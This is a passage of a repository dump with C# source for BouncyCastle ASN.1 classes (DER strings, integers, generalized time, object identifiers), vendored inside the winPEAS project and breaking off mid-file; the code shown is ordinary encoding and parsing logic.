    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class DerExternalParser\n\t\t: Asn1Encodable\n\t{\n\t\tprivate readonly Asn1StreamParser _parser;\n\n\t\tpublic DerExternalParser(Asn1StreamParser parser)\n\t\t{\n\t\t\tthis._parser = parser;\n\t\t}\n\n\t\tpublic IAsn1Convertible ReadObject()\n\t\t{\n\t\t\treturn _parser.ReadObject();\n\t\t}\n\n\t\tpublic override Asn1Object ToAsn1Object()\n\t\t{\n\t\t\treturn new DerExternal(_parser.ReadVector());\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerGeneralString.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class DerGeneralString\n       : DerStringBase\n    {\n        private readonly string str;\n\n        public static DerGeneralString GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is DerGeneralString)\n            {\n                return (DerGeneralString)obj;\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \"\n                    + Platform.GetTypeName(obj));\n        }\n\n        public static DerGeneralString GetInstance(\n            Asn1TaggedObject obj,\n            bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerGeneralString)\n            {\n                return GetInstance(o);\n            }\n\n            return new DerGeneralString(((Asn1OctetString)o).GetOctets());\n        }\n\n        public DerGeneralString(\n            byte[] str)\n            : this(Strings.FromAsciiByteArray(str))\n        {\n        }\n\n        public DerGeneralString(\n            string str)\n        {\n            if (str == null)\n                throw new ArgumentNullException(\"str\");\n\n            this.str = str;\n        }\n\n        public override string GetString()\n        {\n            return str;\n        }\n\n        public byte[] GetOctets()\n        {\n            return Strings.ToAsciiByteArray(str);\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.GeneralString, GetOctets());\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerGeneralString other = asn1Object as DerGeneralString;\n\n            if (other == null)\n                return false;\n\n            return this.str.Equals(other.str);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerGeneralizedTime.cs",
    "content": "﻿using System;\nusing System.Globalization;\nusing System.Text;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n    * Generalized time object.\n    */\n    public class DerGeneralizedTime\n        : Asn1Object\n    {\n        private readonly string time;\n\n        /**\n         * return a generalized time from the passed in object\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static DerGeneralizedTime GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is DerGeneralizedTime)\n            {\n                return (DerGeneralizedTime)obj;\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj), \"obj\");\n        }\n\n        /**\n         * return a Generalized Time object from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n        public static DerGeneralizedTime GetInstance(\n            Asn1TaggedObject obj,\n            bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerGeneralizedTime)\n            {\n                return GetInstance(o);\n            }\n\n            return new DerGeneralizedTime(((Asn1OctetString)o).GetOctets());\n        }\n\n        /**\n         * The correct format for this is YYYYMMDDHHMMSS[.f]Z, or without the Z\n         * for local time, or Z+-HHMM on the end, for difference between local\n         * time and UTC time. The fractional second amount f must consist of at\n         * least one number with trailing zeroes removed.\n         *\n         * @param time the time string.\n         * @exception ArgumentException if string is an illegal format.\n         */\n        public DerGeneralizedTime(\n            string time)\n        {\n            this.time = time;\n\n            try\n            {\n                ToDateTime();\n            }\n            catch (FormatException e)\n            {\n                throw new ArgumentException(\"invalid date string: \" + e.Message);\n            }\n        }\n\n        /**\n         * base constructor from a local time object\n         */\n        public DerGeneralizedTime(\n            DateTime time)\n        {\n#if PORTABLE\n            this.time = time.ToUniversalTime().ToString(@\"yyyyMMddHHmmss\\Z\");\n#else\n            this.time = time.ToString(@\"yyyyMMddHHmmss\\Z\");\n#endif\n        }\n\n        internal DerGeneralizedTime(\n            byte[] bytes)\n        {\n            //\n            // explicitly convert to characters\n            //\n            this.time = Strings.FromAsciiByteArray(bytes);\n        }\n\n        /**\n         * Return the time.\n         * @return The time string as it appeared in the encoded object.\n         */\n        public string TimeString\n        {\n            get { return time; }\n        }\n\n        /**\n         * return the time - always in the form of\n         *  YYYYMMDDhhmmssGMT(+hh:mm|-hh:mm).\n         * <p>\n         * Normally in a certificate we would expect \"Z\" rather than \"GMT\",\n         * however adding the \"GMT\" means we can just use:\n         * <pre>\n         *     dateF = new SimpleDateFormat(\"yyyyMMddHHmmssz\");\n         * </pre>\n         * To read in the time and Get a date which is compatible with our local\n         * time zone.</p>\n         */\n        public string GetTime()\n        {\n            //\n            // standardise the format.\n            //\n            if (time[time.Length - 1] == 'Z')\n            {\n                return time.Substring(0, time.Length - 1) + \"GMT+00:00\";\n            }\n            else\n            {\n                int signPos = time.Length - 5;\n                char sign = time[signPos];\n                if (sign == '-' || sign == '+')\n                {\n                    return time.Substring(0, signPos)\n                        + \"GMT\"\n                        + time.Substring(signPos, 3)\n                        + \":\"\n                        + time.Substring(signPos + 3);\n                }\n                else\n                {\n                    signPos = time.Length - 3;\n                    sign = time[signPos];\n                    if (sign == '-' || sign == '+')\n                    {\n                        return time.Substring(0, signPos)\n                            + \"GMT\"\n                            + time.Substring(signPos)\n                            + \":00\";\n                    }\n                }\n            }\n\n            return time + CalculateGmtOffset();\n        }\n\n        private string CalculateGmtOffset()\n        {\n            char sign = '+';\n            DateTime time = ToDateTime();\n\n#if SILVERLIGHT || PORTABLE\n            long offset = time.Ticks - time.ToUniversalTime().Ticks;\n            if (offset < 0)\n            {\n                sign = '-';\n                offset = -offset;\n            }\n            int hours = (int)(offset / TimeSpan.TicksPerHour);\n            int minutes = (int)(offset / TimeSpan.TicksPerMinute) % 60;\n#else\n            // Note: GetUtcOffset incorporates Daylight Savings offset\n            TimeSpan offset = TimeZone.CurrentTimeZone.GetUtcOffset(time);\n            if (offset.CompareTo(TimeSpan.Zero) < 0)\n            {\n                sign = '-';\n                offset = offset.Duration();\n            }\n            int hours = offset.Hours;\n            int minutes = offset.Minutes;\n#endif\n\n            return \"GMT\" + sign + Convert(hours) + \":\" + Convert(minutes);\n        }\n\n        private static string Convert(\n            int time)\n        {\n            if (time < 10)\n            {\n                return \"0\" + time;\n            }\n\n            return time.ToString();\n        }\n\n        public DateTime ToDateTime()\n        {\n            string formatStr;\n            string d = time;\n            bool makeUniversal = false;\n\n            if (Platform.EndsWith(d, \"Z\"))\n            {\n                if (HasFractionalSeconds)\n                {\n                    int fCount = d.Length - d.IndexOf('.') - 2;\n                    formatStr = @\"yyyyMMddHHmmss.\" + FString(fCount) + @\"\\Z\";\n                }\n                else\n                {\n                    formatStr = @\"yyyyMMddHHmmss\\Z\";\n                }\n            }\n            else if (time.IndexOf('-') > 0 || time.IndexOf('+') > 0)\n            {\n                d = GetTime();\n                makeUniversal = true;\n\n                if (HasFractionalSeconds)\n                {\n                    int fCount = Platform.IndexOf(d, \"GMT\") - 1 - d.IndexOf('.');\n                    formatStr = @\"yyyyMMddHHmmss.\" + FString(fCount) + @\"'GMT'zzz\";\n                }\n                else\n                {\n                    formatStr = @\"yyyyMMddHHmmss'GMT'zzz\";\n                }\n            }\n            else\n            {\n                if (HasFractionalSeconds)\n                {\n                    int fCount = d.Length - 1 - d.IndexOf('.');\n                    formatStr = @\"yyyyMMddHHmmss.\" + FString(fCount);\n                }\n                else\n                {\n                    formatStr = @\"yyyyMMddHHmmss\";\n                }\n\n                // TODO?\n                //\t\t\t\tdateF.setTimeZone(new SimpleTimeZone(0, TimeZone.getDefault().getID()));\n            }\n\n            return ParseDateString(d, formatStr, makeUniversal);\n        }\n\n        private string FString(\n            int count)\n        {\n            StringBuilder sb = new StringBuilder();\n            for (int i = 0; i < count; ++i)\n            {\n                sb.Append('f');\n            }\n            return sb.ToString();\n        }\n\n        private DateTime ParseDateString(string s, string format, bool makeUniversal)\n        {\n            /*\n             * NOTE: DateTime.Kind and DateTimeStyles.AssumeUniversal not available in .NET 1.1\n             */\n            DateTimeStyles style = DateTimeStyles.None;\n            if (Platform.EndsWith(format, \"Z\"))\n            {\n                try\n                {\n                    style = (DateTimeStyles)Enums.GetEnumValue(typeof(DateTimeStyles), \"AssumeUniversal\");\n                }\n                catch (Exception)\n                {\n                }\n\n                style |= DateTimeStyles.AdjustToUniversal;\n            }\n\n            DateTime dt = DateTime.ParseExact(s, format, DateTimeFormatInfo.InvariantInfo, style);\n\n            return makeUniversal ? dt.ToUniversalTime() : dt;\n        }\n\n        private bool HasFractionalSeconds\n        {\n            get { return time.IndexOf('.') == 14; }\n        }\n\n        private byte[] GetOctets()\n        {\n            return Strings.ToAsciiByteArray(time);\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.GeneralizedTime, GetOctets());\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerGeneralizedTime other = asn1Object as DerGeneralizedTime;\n\n            if (other == null)\n                return false;\n\n            return this.time.Equals(other.time);\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            return time.GetHashCode();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerGraphicString.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class DerGraphicString\n        : DerStringBase\n    {\n        private readonly byte[] mString;\n\n        /**\n         * return a Graphic String from the passed in object\n         *\n         * @param obj a DerGraphicString or an object that can be converted into one.\n         * @exception IllegalArgumentException if the object cannot be converted.\n         * @return a DerGraphicString instance, or null.\n         */\n        public static DerGraphicString GetInstance(object obj)\n        {\n            if (obj == null || obj is DerGraphicString)\n            {\n                return (DerGraphicString)obj;\n            }\n\n            if (obj is byte[])\n            {\n                try\n                {\n                    return (DerGraphicString)FromByteArray((byte[])obj);\n                }\n                catch (Exception e)\n                {\n                    throw new ArgumentException(\"encoding error in GetInstance: \" + e.ToString(), \"obj\");\n                }\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj), \"obj\");\n        }\n\n        /**\n         * return a Graphic String from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicit true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception IllegalArgumentException if the tagged object cannot\n         *               be converted.\n         * @return a DerGraphicString instance, or null.\n         */\n        public static DerGraphicString GetInstance(Asn1TaggedObject obj, bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerGraphicString)\n            {\n                return GetInstance(o);\n            }\n\n            return new DerGraphicString(((Asn1OctetString)o).GetOctets());\n        }\n\n        /**\n         * basic constructor - with bytes.\n         * @param string the byte encoding of the characters making up the string.\n         */\n        public DerGraphicString(byte[] encoding)\n        {\n            this.mString = Arrays.Clone(encoding);\n        }\n\n        public override string GetString()\n        {\n            return Strings.FromByteArray(mString);\n        }\n\n        public byte[] GetOctets()\n        {\n            return Arrays.Clone(mString);\n        }\n\n        internal override void Encode(DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.GraphicString, mString);\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            return Arrays.GetHashCode(mString);\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerGraphicString other = asn1Object as DerGraphicString;\n\n            if (other == null)\n                return false;\n\n            return Arrays.AreEqual(mString, other.mString);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerIA5String.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\t/**\n     * Der IA5String object - this is an ascii string.\n     */\n\tpublic class DerIA5String\n\t\t: DerStringBase\n\t{\n\t\tprivate readonly string str;\n\n\t\t/**\n         * return a IA5 string from the passed in object\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n\t\tpublic static DerIA5String GetInstance(\n\t\t\tobject obj)\n\t\t{\n\t\t\tif (obj == null || obj is DerIA5String)\n\t\t\t{\n\t\t\t\treturn (DerIA5String)obj;\n\t\t\t}\n\n\t\t\tthrow new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n\t\t}\n\n\t\t/**\n         * return an IA5 string from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n\t\tpublic static DerIA5String GetInstance(\n\t\t\tAsn1TaggedObject obj,\n\t\t\tbool isExplicit)\n\t\t{\n\t\t\tAsn1Object o = obj.GetObject();\n\n\t\t\tif (isExplicit || o is DerIA5String)\n\t\t\t{\n\t\t\t\treturn GetInstance(o);\n\t\t\t}\n\n\t\t\treturn new DerIA5String(((Asn1OctetString)o).GetOctets());\n\t\t}\n\n\t\t/**\n         * basic constructor - with bytes.\n         */\n\t\tpublic DerIA5String(\n\t\t\tbyte[] str)\n\t\t\t: this(Strings.FromAsciiByteArray(str), false)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t* basic constructor - without validation.\n\t\t*/\n\t\tpublic DerIA5String(\n\t\t\tstring str)\n\t\t\t: this(str, false)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t* Constructor with optional validation.\n\t\t*\n\t\t* @param string the base string to wrap.\n\t\t* @param validate whether or not to check the string.\n\t\t* @throws ArgumentException if validate is true and the string\n\t\t* contains characters that should not be in an IA5String.\n\t\t*/\n\t\tpublic DerIA5String(\n\t\t\tstring str,\n\t\t\tbool validate)\n\t\t{\n\t\t\tif (str == null)\n\t\t\t\tthrow new ArgumentNullException(\"str\");\n\t\t\tif (validate && !IsIA5String(str))\n\t\t\t\tthrow new ArgumentException(\"string contains illegal characters\", \"str\");\n\n\t\t\tthis.str = str;\n\t\t}\n\n\t\tpublic override string GetString()\n\t\t{\n\t\t\treturn str;\n\t\t}\n\n\t\tpublic byte[] GetOctets()\n\t\t{\n\t\t\treturn Strings.ToAsciiByteArray(str);\n\t\t}\n\n\t\tinternal override void Encode(\n\t\t\tDerOutputStream derOut)\n\t\t{\n\t\t\tderOut.WriteEncoded(Asn1Tags.IA5String, GetOctets());\n\t\t}\n\n\t\tprotected override int Asn1GetHashCode()\n\t\t{\n\t\t\treturn this.str.GetHashCode();\n\t\t}\n\n\t\tprotected override bool Asn1Equals(\n\t\t\tAsn1Object asn1Object)\n\t\t{\n\t\t\tDerIA5String other = asn1Object as DerIA5String;\n\n\t\t\tif (other == null)\n\t\t\t\treturn false;\n\n\t\t\treturn this.str.Equals(other.str);\n\t\t}\n\n\t\t/**\n\t\t * return true if the passed in String can be represented without\n\t\t * loss as an IA5String, false otherwise.\n\t\t *\n\t\t * @return true if in printable set, false otherwise.\n\t\t */\n\t\tpublic static bool IsIA5String(\n\t\t\tstring str)\n\t\t{\n\t\t\tforeach (char ch in str)\n\t\t\t{\n\t\t\t\tif (ch > 0x007f)\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn true;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerInteger.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.math;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class DerInteger\n       : Asn1Object\n    {\n        public const string AllowUnsafeProperty = \"Org.BouncyCastle.Asn1.AllowUnsafeInteger\";\n\n        internal static bool AllowUnsafe()\n        {\n            string allowUnsafeValue = Platform.GetEnvironmentVariable(AllowUnsafeProperty);\n            return allowUnsafeValue != null && Platform.EqualsIgnoreCase(\"true\", allowUnsafeValue);\n        }\n\n        internal const int SignExtSigned = -1;\n        internal const int SignExtUnsigned = 0xFF;\n\n        private readonly byte[] bytes;\n        private readonly int start;\n\n        /**\n         * return an integer from the passed in object\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static DerInteger GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is DerInteger)\n            {\n                return (DerInteger)obj;\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n        }\n\n        /**\n         * return an Integer from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param isExplicit true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n        public static DerInteger GetInstance(\n            Asn1TaggedObject obj,\n            bool isExplicit)\n        {\n            if (obj == null)\n                throw new ArgumentNullException(\"obj\");\n\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerInteger)\n            {\n                return GetInstance(o);\n            }\n\n            return new DerInteger(Asn1OctetString.GetInstance(o).GetOctets());\n        }\n\n        public DerInteger(int value)\n        {\n            this.bytes = BigInteger.ValueOf(value).ToByteArray();\n            this.start = 0;\n        }\n\n        public DerInteger(long value)\n        {\n            this.bytes = BigInteger.ValueOf(value).ToByteArray();\n            this.start = 0;\n        }\n\n        public DerInteger(BigInteger value)\n        {\n            if (value == null)\n                throw new ArgumentNullException(\"value\");\n\n            this.bytes = value.ToByteArray();\n            this.start = 0;\n        }\n\n        public DerInteger(byte[] bytes)\n            : this(bytes, true)\n        {\n        }\n\n        internal DerInteger(byte[] bytes, bool clone)\n        {\n            if (IsMalformed(bytes))\n                throw new ArgumentException(\"malformed integer\", \"bytes\");\n\n            this.bytes = clone ? Arrays.Clone(bytes) : bytes;\n            this.start = SignBytesToSkip(bytes);\n        }\n\n        /**\n         * in some cases positive values Get crammed into a space,\n         * that's not quite big enough...\n         */\n        public BigInteger PositiveValue\n        {\n            get { return new BigInteger(1, bytes); }\n        }\n\n        public BigInteger Value\n        {\n            get { return new BigInteger(bytes); }\n        }\n\n        public bool HasValue(BigInteger x)\n        {\n            return null != x\n                // Fast check to avoid allocation\n                && IntValue(bytes, start, SignExtSigned) == x.IntValue\n                && Value.Equals(x);\n        }\n\n        public int IntPositiveValueExact\n        {\n            get\n            {\n                int count = bytes.Length - start;\n                if (count > 4 || (count == 4 && 0 != (bytes[start] & 0x80)))\n                    throw new ArithmeticException(\"ASN.1 Integer out of positive int range\");\n\n                return IntValue(bytes, start, SignExtUnsigned);\n            }\n        }\n\n        public int IntValueExact\n        {\n            get\n            {\n                int count = bytes.Length - start;\n                if (count > 4)\n                    throw new ArithmeticException(\"ASN.1 Integer out of int range\");\n\n                return IntValue(bytes, start, SignExtSigned);\n            }\n        }\n\n        public long LongValueExact\n        {\n            get\n            {\n                int count = bytes.Length - start;\n                if (count > 8)\n                    throw new ArithmeticException(\"ASN.1 Integer out of long range\");\n\n                return LongValue(bytes, start, SignExtSigned);\n            }\n        }\n\n        internal override void Encode(DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.Integer, bytes);\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            return Arrays.GetHashCode(bytes);\n        }\n\n        protected override bool Asn1Equals(Asn1Object asn1Object)\n        {\n            DerInteger other = asn1Object as DerInteger;\n            if (other == null)\n                return false;\n\n            return Arrays.AreEqual(this.bytes, other.bytes);\n        }\n\n        public override string ToString()\n        {\n            return Value.ToString();\n        }\n\n        internal static int IntValue(byte[] bytes, int start, int signExt)\n        {\n            int length = bytes.Length;\n            int pos = System.Math.Max(start, length - 4);\n\n            int val = (sbyte)bytes[pos] & signExt;\n            while (++pos < length)\n            {\n                val = (val << 8) | bytes[pos];\n            }\n            return val;\n        }\n\n        internal static long LongValue(byte[] bytes, int start, int signExt)\n        {\n            int length = bytes.Length;\n            int pos = System.Math.Max(start, length - 8);\n\n            long val = (sbyte)bytes[pos] & signExt;\n            while (++pos < length)\n            {\n                val = (val << 8) | bytes[pos];\n            }\n            return val;\n        }\n\n        /**\n         * Apply the correct validation for an INTEGER primitive following the BER rules.\n         *\n         * @param bytes The raw encoding of the integer.\n         * @return true if the (in)put fails this validation.\n         */\n        internal static bool IsMalformed(byte[] bytes)\n        {\n            switch (bytes.Length)\n            {\n                case 0:\n                    return true;\n                case 1:\n                    return false;\n                default:\n                    return (sbyte)bytes[0] == ((sbyte)bytes[1] >> 7) && !AllowUnsafe();\n            }\n        }\n\n        internal static int SignBytesToSkip(byte[] bytes)\n        {\n            int pos = 0, last = bytes.Length - 1;\n            while (pos < last\n                && (sbyte)bytes[pos] == ((sbyte)bytes[pos + 1] >> 7))\n            {\n                ++pos;\n            }\n            return pos;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerNull.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\t/**\n\t * A Null object.\n\t */\n\tpublic class DerNull\n\t\t: Asn1Null\n\t{\n\t\tpublic static readonly DerNull Instance = new DerNull(0);\n\n\t\tbyte[] zeroBytes = new byte[0];\n\n\t\t[Obsolete(\"Use static Instance object\")]\n\t\tpublic DerNull()\n\t\t{\n\t\t}\n\n\t\tprotected internal DerNull(int dummy)\n\t\t{\n\t\t}\n\n\t\tinternal override void Encode(\n\t\t\tDerOutputStream derOut)\n\t\t{\n\t\t\tderOut.WriteEncoded(Asn1Tags.Null, zeroBytes);\n\t\t}\n\n\t\tprotected override bool Asn1Equals(\n\t\t\tAsn1Object asn1Object)\n\t\t{\n\t\t\treturn asn1Object is DerNull;\n\t\t}\n\n\t\tprotected override int Asn1GetHashCode()\n\t\t{\n\t\t\treturn -1;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerNumericString.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\t/**\n     * Der NumericString object - this is an ascii string of characters {0,1,2,3,4,5,6,7,8,9, }.\n     */\n\tpublic class DerNumericString\n\t\t: DerStringBase\n\t{\n\t\tprivate readonly string str;\n\n\t\t/**\n         * return a Numeric string from the passed in object\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n\t\tpublic static DerNumericString GetInstance(\n\t\t\tobject obj)\n\t\t{\n\t\t\tif (obj == null || obj is DerNumericString)\n\t\t\t{\n\t\t\t\treturn (DerNumericString)obj;\n\t\t\t}\n\n\t\t\tthrow new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n\t\t}\n\n\t\t/**\n         * return an Numeric string from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n\t\tpublic static DerNumericString GetInstance(\n\t\t\tAsn1TaggedObject obj,\n\t\t\tbool isExplicit)\n\t\t{\n\t\t\tAsn1Object o = obj.GetObject();\n\n\t\t\tif (isExplicit || o is DerNumericString)\n\t\t\t{\n\t\t\t\treturn GetInstance(o);\n\t\t\t}\n\n\t\t\treturn new DerNumericString(Asn1OctetString.GetInstance(o).GetOctets());\n\t\t}\n\n\t\t/**\n\t\t * basic constructor - with bytes.\n\t\t */\n\t\tpublic DerNumericString(\n\t\t\tbyte[] str)\n\t\t\t: this(Strings.FromAsciiByteArray(str), false)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * basic constructor -  without validation..\n\t\t */\n\t\tpublic DerNumericString(\n\t\t\tstring str)\n\t\t\t: this(str, false)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t* Constructor with optional validation.\n\t\t*\n\t\t* @param string the base string to wrap.\n\t\t* @param validate whether or not to check the string.\n\t\t* @throws ArgumentException if validate is true and the string\n\t\t* contains characters that should not be in a NumericString.\n\t\t*/\n\t\tpublic DerNumericString(\n\t\t\tstring str,\n\t\t\tbool validate)\n\t\t{\n\t\t\tif (str == null)\n\t\t\t\tthrow new ArgumentNullException(\"str\");\n\t\t\tif (validate && !IsNumericString(str))\n\t\t\t\tthrow new ArgumentException(\"string contains illegal characters\", \"str\");\n\n\t\t\tthis.str = str;\n\t\t}\n\n\t\tpublic override string GetString()\n\t\t{\n\t\t\treturn str;\n\t\t}\n\n\t\tpublic byte[] GetOctets()\n\t\t{\n\t\t\treturn Strings.ToAsciiByteArray(str);\n\t\t}\n\n\t\tinternal override void Encode(\n\t\t\tDerOutputStream derOut)\n\t\t{\n\t\t\tderOut.WriteEncoded(Asn1Tags.NumericString, GetOctets());\n\t\t}\n\n\t\tprotected override bool Asn1Equals(\n\t\t\tAsn1Object asn1Object)\n\t\t{\n\t\t\tDerNumericString other = asn1Object as DerNumericString;\n\n\t\t\tif (other == null)\n\t\t\t\treturn false;\n\n\t\t\treturn this.str.Equals(other.str);\n\t\t}\n\n\t\t/**\n\t\t * Return true if the string can be represented as a NumericString ('0'..'9', ' ')\n\t\t *\n\t\t * @param str string to validate.\n\t\t * @return true if numeric, fale otherwise.\n\t\t */\n\t\tpublic static bool IsNumericString(\n\t\t\tstring str)\n\t\t{\n\t\t\tforeach (char ch in str)\n\t\t\t{\n\t\t\t\tif (ch > 0x007f || (ch != ' ' && !char.IsDigit(ch)))\n\t\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\treturn true;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerObjectIdentifier.cs",
    "content": "﻿using System;\nusing System.IO;\nusing System.Text;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.math;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class DerObjectIdentifier\n        : Asn1Object\n    {\n        private readonly string identifier;\n\n        private byte[] body = null;\n\n        /**\n         * return an Oid from the passed in object\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static DerObjectIdentifier GetInstance(object obj)\n        {\n            if (obj == null || obj is DerObjectIdentifier)\n                return (DerObjectIdentifier)obj;\n\n            if (obj is Asn1Encodable)\n            {\n                Asn1Object asn1Obj = ((Asn1Encodable)obj).ToAsn1Object();\n\n                if (asn1Obj is DerObjectIdentifier)\n                    return (DerObjectIdentifier)asn1Obj;\n            }\n\n            if (obj is byte[])\n                return FromOctetString((byte[])obj);\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj), \"obj\");\n        }\n\n        /**\n         * return an object Identifier from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n        public static DerObjectIdentifier GetInstance(\n            Asn1TaggedObject obj,\n            bool explicitly)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (explicitly || o is DerObjectIdentifier)\n            {\n                return GetInstance(o);\n            }\n\n            return FromOctetString(Asn1OctetString.GetInstance(o).GetOctets());\n        }\n\n        public DerObjectIdentifier(\n            string identifier)\n        {\n            if (identifier == null)\n                throw new ArgumentNullException(\"identifier\");\n            if (!IsValidIdentifier(identifier))\n                throw new FormatException(\"string \" + identifier + \" not an OID\");\n\n            this.identifier = identifier;\n        }\n\n        internal DerObjectIdentifier(DerObjectIdentifier oid, string branchID)\n        {\n            if (!IsValidBranchID(branchID, 0))\n                throw new ArgumentException(\"string \" + branchID + \" not a valid OID branch\", \"branchID\");\n\n            this.identifier = oid.Id + \".\" + branchID;\n        }\n\n        // TODO Change to ID?\n        public string Id\n        {\n            get { return identifier; }\n        }\n\n        public virtual DerObjectIdentifier Branch(string branchID)\n        {\n            return new DerObjectIdentifier(this, branchID);\n        }\n\n        /**\n         * Return  true if this oid is an extension of the passed in branch, stem.\n         * @param stem the arc or branch that is a possible parent.\n         * @return  true if the branch is on the passed in stem, false otherwise.\n         */\n        public virtual bool On(DerObjectIdentifier stem)\n        {\n            string id = Id, stemId = stem.Id;\n            return id.Length > stemId.Length && id[stemId.Length] == '.' && Platform.StartsWith(id, stemId);\n        }\n\n        internal DerObjectIdentifier(byte[] bytes)\n        {\n            this.identifier = MakeOidStringFromBytes(bytes);\n            this.body = Arrays.Clone(bytes);\n        }\n\n        private void WriteField(\n            Stream outputStream,\n            long fieldValue)\n        {\n            byte[] result = new byte[9];\n            int pos = 8;\n            result[pos] = (byte)(fieldValue & 0x7f);\n            while (fieldValue >= (1L << 7))\n            {\n                fieldValue >>= 7;\n                result[--pos] = (byte)((fieldValue & 0x7f) | 0x80);\n            }\n            outputStream.Write(result, pos, 9 - pos);\n        }\n\n        private void WriteField(\n            Stream outputStream,\n            BigInteger fieldValue)\n     